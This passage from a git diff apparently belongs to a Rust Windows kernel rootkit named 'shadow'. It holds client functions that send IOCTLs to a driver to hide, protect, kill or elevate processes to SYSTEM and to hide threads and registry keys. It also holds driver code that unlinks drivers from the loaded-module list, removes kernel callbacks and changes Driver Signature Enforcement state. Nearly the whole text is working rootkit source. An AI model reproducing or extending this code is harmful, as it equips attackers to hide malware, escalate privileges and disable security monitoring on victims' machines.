Option<&u32>, ioctl_code: u32, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - - if let Some(pid_value) = pid { - let mut return_buffer = 0; - let pid = *pid_value as usize; - let mut target_process = ProcessInfoHide::default(); - target_process.enable = if enable { - true - } else { - false - }; - - target_process.pid = pid; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut target_process as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - if enable { - println!("[+] Process with PID {pid} successfully hidden"); - } else { - println!("[+] Process with PID {pid} successfully unhidden"); - } - - } - } else { - println!("[-] PID not supplied"); - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - - if let Some(pid_value) = pid { - let mut return_buffer = 0; - let pid = *pid_value as usize; - let mut target_process = TargetProcess { - pid, - }; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut target_process as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Process with PID {pid} terminated successfully"); - } - } else { - println!("[-] PID not supplied"); - } - - unsafe { - CloseHandle(h_file); - }; -} - -#[cfg(not(feature = "mapper"))] -pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - - if let Some(pid_value) = pid { - let mut return_buffer = 0; - let pid = *pid_value as usize; - let mut target_process = shared::structs::ProcessProtection { - pid, - enable - }; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut target_process as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Process PID {pid} with anti-kill and dumping functions enabled"); - } - } else { - println!("[-] PID not supplied"); - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn enumerate_process(ioctl_code: u32, option: &Options) { - let h_file = open_driver().expect("Failed to open driver"); - let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() }; - let mut enumeration_input = EnumerateInfoInput { - options: option.to_shared() - }; - let mut return_buffer = 0; - let status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut enumeration_input as *mut _ as *mut c_void, - size_of::() as u32, - info_process.as_mut_ptr() as *mut _, - (info_process.len() * size_of::()) as u32, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - let total_process = return_buffer as usize / size_of::(); - println!("[+] Total Processes: {}", total_process); - for i in 0..total_process { - if info_process[i].pids > 0 { - println!("[{}] {}", i, info_process[i].pids); - } - } - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn signature_process(pid: Option<&u32>, ioctl_code: u32, sg: &PS_PROTECTED_SIGNER, tp: &PS_PROTECTED_TYPE) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - - if let Some(pid_value) = pid { - let mut return_buffer = 0; - let sg = *sg as usize; - let tp = *tp as usize; - let pid = *pid_value as usize; - let mut info_protection_process = ProcessSignature { - pid, - sg, - tp, - }; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut info_protection_process as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Process with PID {pid} successfully protected"); - } - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - - if let Some(pid_value) = pid { - let mut return_buffer = 0; - let pid = *pid_value as usize; - let mut target_process = TargetProcess { - pid, - }; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut target_process as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Process with PID {pid} elevated to System") - } - } else { - println!("[-] PID not supplied"); - } - - unsafe { - CloseHandle(h_file); - }; -} diff --git a/client/src/registry.rs b/client/src/registry.rs deleted file mode 100644 index e2f7f2a..0000000 --- a/client/src/registry.rs +++ /dev/null @@ -1,71 +0,0 @@ -use { - crate::driver::open_driver, - std::{ffi::c_void, ptr::null_mut}, - shared::structs::TargetRegistry, - windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}, -}; - -pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let mut info_registry = TargetRegistry { - enable, - value: value.to_string(), - key: key.to_string() - }; - let mut return_buffer = 0; - let status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut info_registry as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Registry protection succeeded!"); - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn registry_hide(ioctl_code: u32, value: &String, key: &String, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let mut info_registry = TargetRegistry { - enable, - key: key.to_string(), - value: value.to_string(), - ..Default::default() - }; - let mut return_buffer = 0; - let status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut info_registry as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Registry hide succeeded!"); - } - - unsafe { - CloseHandle(h_file); - }; -} \ No newline at end of file diff --git a/client/src/thread.rs b/client/src/thread.rs deleted file mode 100644 index 6585b3a..0000000 --- a/client/src/thread.rs +++ /dev/null @@ -1,132 +0,0 @@ -use { - crate::{cli::Options, driver::open_driver}, - std::{ffi::c_void, mem::size_of, ptr::null_mut}, - shared::{structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}, vars::MAX_TIDS}, - windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}, -}; - -pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - - if let Some(tid_value) = tid { - let mut return_buffer = 0; - let tid = *tid_value as usize; - let mut target_thread = TargetThread { - tid, - enable - }; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut target_thread as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - if enable { - println!("[+] Process with TID {tid} successfully hidden"); - } else { - println!("[+] Process with TID {tid} successfully unhidden"); - } - - } - } else { - println!("[-] TID not supplied"); - } - - unsafe { - CloseHandle(h_file); - }; -} - -#[cfg(not(feature = "mapper"))] -pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - - if let Some(tid_value) = tid { - let mut return_buffer = 0; - let tid = *tid_value as usize; - let mut target_process = shared::structs::ThreadProtection { - tid, - enable - }; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut target_process as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - if enable { - println!("[+] Thread TID {tid} with anti-kill and dumping functions enabled"); - } else { - println!("[+] Thread TID {tid} with anti-kill and dumping functions disabled"); - } - - } - } else { - println!("[-] TID not supplied"); - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn enumerate_thread(ioctl_code: u32, option: &Options) { - let h_file = open_driver().expect("Failed to open driver"); - let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() }; - let mut enumeration_input = EnumerateInfoInput { - options: option.to_shared() - }; - let mut return_buffer = 0; - let status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut enumeration_input as *mut _ as *mut c_void, - size_of::() as u32, - info_thread.as_mut_ptr() as *mut _, - (info_thread.len() * size_of::()) as u32, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - let total_process = return_buffer as usize / size_of::(); - println!("[+] Total Threads: {}", total_process); - for i in 0..total_process { - if info_thread[i].tids > 0 { - println!("[{}] {}", i, info_thread[i].tids); - } - } - } - - unsafe { - CloseHandle(h_file); - }; -} \ No newline at end of file diff --git a/client/src/utils.rs b/client/src/utils.rs index 0a1c672..5ac9ede 100644 --- a/client/src/utils.rs +++ b/client/src/utils.rs @@ -1,7 +1,36 @@ -use std::path::Path; - +use std::{path::Path, ptr::null_mut}; +use windows_sys::{ + w, + Win32::{ + Foundation::{GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE}, + Storage::FileSystem::{CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING} + } +}; pub fn check_file(file: &String) -> bool { let file = Path::new(file); file.exists() -} \ No newline at end of file +} + +pub fn open_driver() -> Result { + log::info!("Opening driver handle"); + let h_file = unsafe { + CreateFileW( + w!("\\\\.\\shadow"), + GENERIC_READ | GENERIC_WRITE, + 0, + null_mut(), + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + 0 + ) + }; + + if h_file == INVALID_HANDLE_VALUE { + log::error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() }); + return Err(()); + } + + log::info!("Driver handle successfully opened"); + Ok(h_file) +} diff --git a/crates/shadowx/Cargo.toml b/crates/shadowx/Cargo.toml new file mode 100644 index 0000000..9220a36 --- /dev/null +++ b/crates/shadowx/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "shadowx" +version = "0.1.0" +edition = "2021" + +[dependencies] +wdk-sys = "0.2.0" diff --git a/crates/shadowx/src/lib.rs b/crates/shadowx/src/lib.rs new file mode 100644 index 0000000..e7a11a9 --- /dev/null +++ b/crates/shadowx/src/lib.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello, world!"); +} diff --git a/driver/src/callbacks/ioctls.rs b/driver/src/callbacks/ioctls.rs index c0a357b..7a3135b 100644 --- a/driver/src/callbacks/ioctls.rs +++ b/driver/src/callbacks/ioctls.rs @@ -1,35 +1,50 @@ use { alloc::boxed::Box, hashbrown::HashMap, + crate::{handle_callback, utils::ioctls::IoctlHandler}, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, shared::{ - ioctls::{IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK}, + ioctls::{ + IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, + IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK + }, structs::{CallbackInfoInput, CallbackInfoOutput} - }, - wdk_sys::{IO_STACK_LOCATION, IRP}, - crate::{handle_callback, utils::ioctls::IoctlHandler}, + }, }; pub fn get_callback_ioctls(ioctls: &mut HashMap ) { - // Lists callbacks. + // Lists Callbacks. ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ENUMERATE_CALLBACK"); + let mut information = 0; let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); - // ? + // List Callbacks Removed. ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK"); + let mut information = 0; let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); - // Remove a callback. + // Remove Callback. ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_REMOVE_CALLBACK"); let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) }; @@ -37,7 +52,7 @@ pub fn get_callback_ioctls(ioctls: &mut HashMap ) { status }) as IoctlHandler); - // ? + // Restore Callback. ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_RESTORE_CALLBACK"); let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) }; diff --git a/driver/src/callbacks/mod.rs b/driver/src/callbacks/mod.rs index e34a228..0bd5cfb 100644 --- a/driver/src/callbacks/mod.rs +++ b/driver/src/callbacks/mod.rs @@ -59,7 +59,7 @@ pub trait CallbackList { /// # Returns /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS; + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>; /// List of callbacks currently removed. /// @@ -71,7 +71,7 @@ pub trait CallbackList { /// # Returns /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS; + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>; } /// Structure representing the Callback. @@ -126,17 +126,13 @@ impl CallbackList for Callback { STATUS_SUCCESS } - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { let address = match find_callback_address(&(*target_callback).callback) { Some(CallbackResult::PsCreate(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, - }; - - let (mut ldr_data, module_count) = match return_module() { - Some(result) => result, - None => return STATUS_UNSUCCESSFUL + _ => return Err(STATUS_UNSUCCESSFUL), }; + let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; let start_entry = ldr_data; for i in 0..64 { @@ -182,17 +178,13 @@ impl CallbackList for Callback { ldr_data = start_entry; } - STATUS_SUCCESS + Ok(()) } - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { let callback_restaure = INFO_CALLBACK_RESTAURE.lock(); - let (mut ldr_data, module_count) = match return_module() { - Some(result) => result, - None => return STATUS_UNSUCCESSFUL - }; - + let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; let start_entry = ldr_data; for (i, callback) in callback_restaure.iter().enumerate() { @@ -230,7 +222,7 @@ impl CallbackList for Callback { ldr_data = start_entry; } - STATUS_SUCCESS + Ok(()) } } @@ -277,6 +269,7 @@ impl CallbackList for CallbackRegistry { log::error!("Callback not found for type {:?} at index {}", callback_type, index); return STATUS_UNSUCCESSFUL; } + STATUS_SUCCESS } @@ -329,18 +322,15 @@ impl CallbackList for CallbackRegistry { STATUS_UNSUCCESSFUL } - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) { Some(CallbackResult::Registry(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, + _ => return Err(STATUS_UNSUCCESSFUL), }; let count = *(callback_count as *mut u32) + 1; let mut pcm_callback = callback_list_header as *mut CM_CALLBACK; - let (mut ldr_data, module_count) = match return_module() { - Some(result) => result, - None => return STATUS_UNSUCCESSFUL - }; + let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; let start_entry = ldr_data; ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0); @@ -388,16 +378,13 @@ impl CallbackList for CallbackRegistry { ExReleasePushLockExclusiveEx(callback_list_lock as _, 0); - STATUS_SUCCESS + Ok(()) } - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let (mut ldr_data, module_count) = match return_module() { - Some(result) => result, - None => return STATUS_UNSUCCESSFUL - }; + let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; let start_entry = ldr_data; @@ -434,7 +421,7 @@ impl CallbackList for CallbackRegistry { ldr_data = start_entry; } - STATUS_SUCCESS + Ok(()) } } @@ -534,10 +521,10 @@ impl CallbackList for CallbackOb { STATUS_UNSUCCESSFUL } - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { let object_type = match find_callback_address(&(*target_callback).callback) { Some(CallbackResult::ObRegister(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, + _ => return Err(STATUS_UNSUCCESSFUL), }; let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; @@ -559,11 +546,7 @@ impl CallbackList for CallbackOb { next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; } - let (mut ldr_data, module_count) = match return_module() { - Some(result) => result, - None => return STATUS_UNSUCCESSFUL - }; - + let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; let start_entry = ldr_data; let mut current_index = 0; @@ -612,17 +595,13 @@ impl CallbackList for CallbackOb { ldr_data = start_entry; } - STATUS_SUCCESS + Ok(()) } - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock(); - let (mut ldr_data, module_count) = match return_module() { - Some(result) => result, - None => return STATUS_UNSUCCESSFUL - }; - + let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; let start_entry = ldr_data; for (i, callback) in callback_restaure.iter().enumerate() { @@ -661,6 +640,6 @@ impl CallbackList for CallbackOb { ldr_data = start_entry; } - STATUS_SUCCESS + Ok(()) } } \ No newline at end of file diff --git a/driver/src/driver/ioctls.rs b/driver/src/driver/ioctls.rs index 5b7d030..0df3a4e 100644 --- a/driver/src/driver/ioctls.rs +++ b/driver/src/driver/ioctls.rs @@ -1,14 +1,10 @@ use { - alloc::boxed::Box, - hashbrown::HashMap, - shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}}, - wdk_sys::{IO_STACK_LOCATION, IRP}, - crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, + crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, alloc::boxed::Box, hashbrown::HashMap, shared::{ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, structs::{DriverInfo, TargetDriver}}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS} }; pub fn get_driver_ioctls(ioctls: &mut HashMap) { - // Hiding a driver from loaded modules. + // Hiding / Unhiding a driver from loaded modules. ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER"); let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) }; @@ -19,9 +15,15 @@ pub fn get_driver_ioctls(ioctls: &mut HashMap) { // Enumerate active drivers on the system. ioctls.insert(IOCTL_ENUMERATE_DRIVER, Box::new(|irp: *mut IRP, _: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ENUMERATE_DRIVER"); + let mut information = 0; let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) }; + unsafe { (*irp).IoStatus.Information = information as u64 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); } \ No newline at end of file diff --git a/driver/src/driver/mod.rs b/driver/src/driver/mod.rs index 9306d5d..3c767ec 100644 --- a/driver/src/driver/mod.rs +++ b/driver/src/driver/mod.rs @@ -4,7 +4,7 @@ use { ntapi::ntldr::LDR_DATA_TABLE_ENTRY, core::sync::atomic::{AtomicPtr, Ordering}, alloc::{string::String, vec::Vec, boxed::Box}, - crate::utils::{get_function_address, get_module_base_address, uni}, + crate::utils::{address::{get_function_address, get_module_base_address}, uni}, shared::{ structs::{ DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY, @@ -67,14 +67,10 @@ impl Driver { while next != current { let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - let buffer = core::slice::from_raw_parts( - (*list_entry).BaseDllName.Buffer, - ((*list_entry).BaseDllName.Length / 2) as usize, - ); + let buffer = core::slice::from_raw_parts((*list_entry).BaseDllName.Buffer, ((*list_entry).BaseDllName.Length / 2) as usize); let name = String::from_utf16_lossy(buffer); if name.contains(driver_name) { - log::info!("Driver found: {name}"); let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY; let list = LIST_ENTRY { @@ -85,7 +81,6 @@ impl Driver { let mut driver_info = DRIVER_INFO_HIDE.lock(); let list_ptr = Box::into_raw(Box::new(list)); let driver_entry = Box::into_raw(Box::new(*list_entry)); - log::info!("Stored list entry at: {:?}", list_ptr); driver_info.push(HiddenDriverInfo { name, @@ -117,17 +112,18 @@ impl Driver { /// unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS { let mut driver_info = DRIVER_INFO_HIDE.lock(); + if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) { let driver = &driver_info[index]; - let list = driver.list_entry.load(Ordering::SeqCst); - let driver_entry = driver.driver_entry.load(Ordering::SeqCst); - if list.is_null() { + let list_entry = driver.list_entry.load(Ordering::SeqCst); + if list_entry.is_null() { log::error!("List entry stored in AtomicPtr is null"); return STATUS_INVALID_PARAMETER; } - (*driver_entry).InLoadOrderLinks.Flink = (*list).Flink as *mut winapi::shared::ntdef::LIST_ENTRY; - (*driver_entry).InLoadOrderLinks.Blink = (*list).Blink as *mut winapi::shared::ntdef::LIST_ENTRY; + let driver_entry = driver.driver_entry.load(Ordering::SeqCst); + (*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY; + (*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY; let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3) let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1) @@ -137,7 +133,6 @@ impl Driver { driver_info.remove(index); } else { - log::info!("Driver ({driver_name}) Not found"); return STATUS_UNSUCCESSFUL; } @@ -153,19 +148,17 @@ impl Driver { /// # Return /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. /// - pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> NTSTATUS { - log::info!("Starting module enumeration"); - + pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> Result<(), NTSTATUS> { let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); - let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; + let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; - if func.is_null() { + if ldr_data.is_null() { log::error!("PsLoadedModuleList is null"); - return STATUS_UNSUCCESSFUL; + return Err(STATUS_UNSUCCESSFUL); } - let current = func as *mut winapi::shared::ntdef::LIST_ENTRY; - let mut next = (*func).InLoadOrderLinks.Flink; + let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY; + let mut next = (*ldr_data).InLoadOrderLinks.Flink; let mut count = 0; while next != current { @@ -191,7 +184,7 @@ impl Driver { next = (*next).Flink; } - STATUS_SUCCESS + Ok(()) } /// Sets the DSE (Driver Signature Enforcement) status based on the information provided. @@ -202,16 +195,9 @@ impl Driver { /// # Return /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation. /// - pub unsafe fn set_dse_state(info_dse: *mut DSE) -> NTSTATUS { - let module_address = match get_module_base_address(obfstr!("CI.dll")) { - Some(addr) => addr, - None => return STATUS_UNSUCCESSFUL - }; - let function_address = match get_function_address(obfstr!("CiInitialize"), module_address) { - Some(addr) => addr, - None => return STATUS_UNSUCCESSFUL, - }; - + pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> { + let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?; + let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?; let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89); // mov ecx,ebp @@ -226,7 +212,6 @@ impl Driver { let new_base = function_address.cast::().offset((position + 4) as isize); let c_ip_initialize = new_base.cast::().offset(offset as isize); - log::info!("c_ip_initialize: {:?}", c_ip_initialize); // mov rbp,r9 let instructions = [0x49, 0x8b, 0xE9]; @@ -252,7 +237,7 @@ impl Driver { } } - STATUS_SUCCESS + Ok(()) } } diff --git a/driver/src/includes/mod.rs b/driver/src/includes/mod.rs index d97808e..8fcc19d 100644 --- a/driver/src/includes/mod.rs +++ b/driver/src/includes/mod.rs @@ -2,16 +2,19 @@ #![allow(dead_code)] use { - bitfield::bitfield, - ntapi::ntpsapi::PPS_ATTRIBUTE_LIST, - shared::structs::LIST_ENTRY, wdk_sys::*, - winapi::ctypes::c_void + bitfield::bitfield, + winapi::ctypes::c_void, + shared::structs::LIST_ENTRY, + ntapi::ntpsapi::PPS_ATTRIBUTE_LIST, }; +pub mod vad; + pub mod structs { use super::*; use shared::vars::Callbacks; + use core::mem::ManuallyDrop; #[repr(C)] pub struct FULL_OBJECT_TYPE { @@ -100,19 +103,12 @@ pub mod structs { multiple_shared, set_multiple_shared: 3; shared, set_shared: 63, 4; } - - #[repr(C)] - union ExPushLockUnion { - struct_data: core::mem::ManuallyDrop<_EX_PUSH_LOCK>, - value: u64, - ptr: *mut c_void, - } bitfield! { pub struct PS_PROTECTION(u8); - pub u8, type_, set_type_: 2, 0; // 3 bits - pub u8, audit, set_audit: 3; // 1 bit - pub u8, signer, set_signer: 7, 4; // 4 bits + pub u8, type_, set_type_: 2, 0; + pub u8, audit, set_audit: 3; + pub u8, signer, set_signer: 7, 4; } #[repr(C)] @@ -131,6 +127,135 @@ pub mod structs { pub post_operation: u64, pub entry: u64, } + + #[repr(C)] + pub struct MMVAD_SHORT { + pub vad_node: RTL_BALANCED_NODE, + pub starting_vpn: u32, + pub ending_vpn: u32, + pub starting_vpn_high: u8, + pub ending_vpn_high: u8, + pub commit_charge_high: u8, + pub spare_nt64_vad_uchar: u8, + pub reference_count: i32, + pub push_lock: usize, + pub u: Uunion, + pub u1: U1Union, + pub u5: U5Union, + } + + #[repr(C)] + pub union Uunion { + pub long_flags: u32, + pub vad_flags: ManuallyDrop, + pub private_vad_flags: ManuallyDrop, + pub 